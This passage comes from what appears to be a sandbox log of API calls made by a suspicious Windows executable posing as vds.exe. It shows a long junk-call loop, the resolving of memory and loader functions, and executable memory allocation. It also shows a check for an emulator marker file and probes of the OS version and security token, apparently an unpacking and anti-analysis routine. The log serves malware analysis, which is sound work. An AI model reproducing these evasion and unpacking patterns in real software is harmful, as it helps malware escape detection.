lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.582] GetFocus () returned 0x0 [0223.582] GetAsyncKeyState (vKey=58) returned 0 [0223.582] GetKBCodePage () returned 0x1b5 [0223.582] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.583] GetFocus () returned 0x0 [0223.583] GetAsyncKeyState (vKey=58) returned 0 [0223.583] GetKBCodePage () returned 0x1b5 [0223.583] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.584] GetAsyncKeyState (vKey=58) returned 0 [0223.584] GetKBCodePage () returned 0x1b5 [0223.584] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.584] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.585] GetKBCodePage () returned 0x1b5 [0223.585] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.585] GetFocus () returned 0x0 [0223.585] GetAsyncKeyState (vKey=58) returned 0 [0223.586] GetKBCodePage () returned 0x1b5 [0223.586] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.586] GetFocus () returned 0x0 [0223.586] GetAsyncKeyState (vKey=58) returned 0 [0223.586] GetKBCodePage () returned 0x1b5 [0223.586] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.586] GetFocus () returned 0x0 [0223.586] GetAsyncKeyState (vKey=58) returned 0 [0223.586] GetKBCodePage () returned 0x1b5 [0223.586] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.586] GetFocus () returned 0x0 [0223.586] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0223.587] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0223.587] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0223.587] Sleep (dwMilliseconds=0x94) [0223.741] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0223.741] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x390000 [0223.795] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0223.795] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x230000 [0223.796] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0223.796] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0223.796] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0223.796] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0223.796] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0223.796] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0223.796] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0223.796] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0223.853] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0223.856] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0223.856] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0223.856] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0223.856] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0224.774] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.784] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x460000 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x104) returned 0x4607d0 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x4608e0 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460968 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x4609f0 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460a78 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460b00 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460b88 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460c10 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460c98 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460d20 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460da8 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460e30 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460eb8 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460f40 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x460fc8 [0224.794] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x461050 [0224.795] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x80) returned 0x4610d8 [0224.795] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x400) returned 0x461160 [0224.795] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x4a0000 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4a07d0 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4a0858 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4a08e0 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x184) returned 0x4a0968 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0af8 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0b40 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0b88 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0bd0 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0c18 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0c60 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0ca8 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0cf0 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0d38 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0d80 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0dc8 [0224.795] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0e10 [0224.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0e58 [0224.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0ea0 [0224.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0ee8 [0224.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0f30 [0224.796] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0224.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4a0f78 [0224.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4ab828 [0224.802] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0224.802] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0224.802] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0224.802] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0224.802] GetLastError () returned 0x7a [0224.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x140) returned 0x4ab860 [0224.802] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x4ab860, TokenInformationLength=0x104, ReturnLength=0x18fbec | out: TokenInformation=0x4ab860, ReturnLength=0x18fbec) returned 1 [0224.802] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 